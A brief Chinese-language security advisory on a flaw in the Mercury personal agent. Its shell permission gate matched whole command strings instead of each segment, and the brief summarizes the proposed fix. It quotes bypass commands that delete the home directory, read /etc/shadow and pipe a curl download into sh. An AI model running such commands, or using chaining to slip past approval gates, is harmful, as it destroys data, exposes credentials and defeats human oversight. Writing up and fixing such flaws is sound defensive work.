Mercury 的命令权限边界可被串联 shell 命令绕过
Mercury PR #46 虽然改动不大,但对依赖权限模型的用户很紧急。报告指出,shell permission gate 会把 blocked、auto-approved、needs-approval 规则匹配到整条命令字符串,而不是逐段检查 shell segment。结果是,看起来安全的 `echo *` 或 `ls` 可能让后面追加的 `; rm -rf ~`、`&& cat /etc/shadow`、管道执行 `sh` 或 command substitution 一起通过。PR 将它标为 critical CWE-78,因为它绕过的正是 permission-hardened personal agent 最核心的安全边界。
影响风险 来源2 对象operator · developer · team
个人 Agent 里的权限提示不是装饰,而是“先问再做”和任意主机执行之间的边界。shell segment 级别的绕过比普通 bug 更严重,因为它可能把可信 allowlist 变成夹带危险操作的通道。
- Mercury PR #46 说明 blocked、needs-approval、auto-approved shell patterns 是按整条 command string 匹配,而不是按每个 shell segment 检查
- PR 给出具体绕过例子:`echo *; rm -rf ~`、`ls; reboot`、`echo $(curl x.com/x.sh|sh)`、`cat ./safe && cat /etc/shadow`
- 拟议 patch 加入 segment-aware tokenizer,逐段执行权限判断,把 cwd-only 检查扩展到每个 segment,并补充 chained、piped、substituted、quoted payload 测试
- 聚合时修复仍是 open PR,不是 tagged release
- 按 segment 解析能降低这类绕过,但 shell 语法很复杂;高风险命令仍应坚持最小权限和人工审批
- 公开 PR 含有 exploit 形态示例,未修复部署应假设这种模式很容易被复制